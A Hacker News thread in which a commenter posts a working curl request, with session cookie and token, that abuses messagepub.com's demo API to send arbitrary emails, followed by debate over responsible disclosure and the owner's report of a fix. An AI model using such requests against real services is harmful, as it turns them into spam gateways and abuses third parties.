Hacker News Reader

Comment by ovi256 | Hacker News Reader

With a bit of curl hacking I managed to abuse their demo API to send arbitrary messages.

Just try this : curl -v -d "channel=email&address=EMAIL_HERE&commit=Submit&message=messagepub%20sucks%20I%20JustHackedTheirDemoAPItoSendArbitraryMessagesUsingCURLlolSpam&authenticity_token=1f52274baf9904dd33b012c1a4c1548afd197438" -b _trunk_session=BAh7BzoMY3NyZl9pZCIlM2JmZDg3ZDhlYTZjN2U3MzFkNmMyMWMyNGYxYmQ4YTQiCmZsYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA%3D--2e9b47678c68095440f03ce3b7558712b4fba37a http://messagepub.com/demo/create

You'll have to grab the cookie and authenticity_token from a preceding GET request, as the cookie seems to change from time to time. The authenticity token does not change among successive posts.

Hello spam!

Guys, please fix your security.

View on HN

Wow, that's so l33t!

Though if you really want to brag effectively about finding an exploit here, you should probably just shoot an e-mail to the developers first and then, if you feel the need, mention publicly that you found something.

That way you look more like a white hat and less like a script kiddie or a troll.

I did send an email afterwards - forgot at first - hey, I'm new at this.

Ok, it was a 5 min exploit, but I still lolled for most of the evening.

FYI. This is no longer an issue. It was fixed even before ovi256 posted this comment which is why in the original post, he mentioned that the server was down. That's because his IP address had been blocked and a fix was deployed.

He later edited the comment to remove the part where he said that the site was down...

I got your email, too bad you decided to go this route rather than emailing me about it first. It's all good though. No hard feelings.

Glad you fixed it so fast and sorry about being an asshole earlier. It's a bit of social engineering : it gets things going - if you hate me and/or the disclosure you are more likely to fix the hole. Stupid, I know, but it works.

I confirm that in my initial post, I wrongly assumed the demo page was down. Downforeverythingorjustme.com confirmed afterwards that my IP was blocked - luccastera moved incredibly fast! And right now, the canned messages seem to be whitelisted, which fixed the problem for good.

The fix is easy, just add an integer value to the message select, and server-side, use it to select canned messages from a dictionary.

This will not stop abuse of your canned messages, but at least messagepost's demo page will not become a spam gateway.

Reply on news.ycombinator.com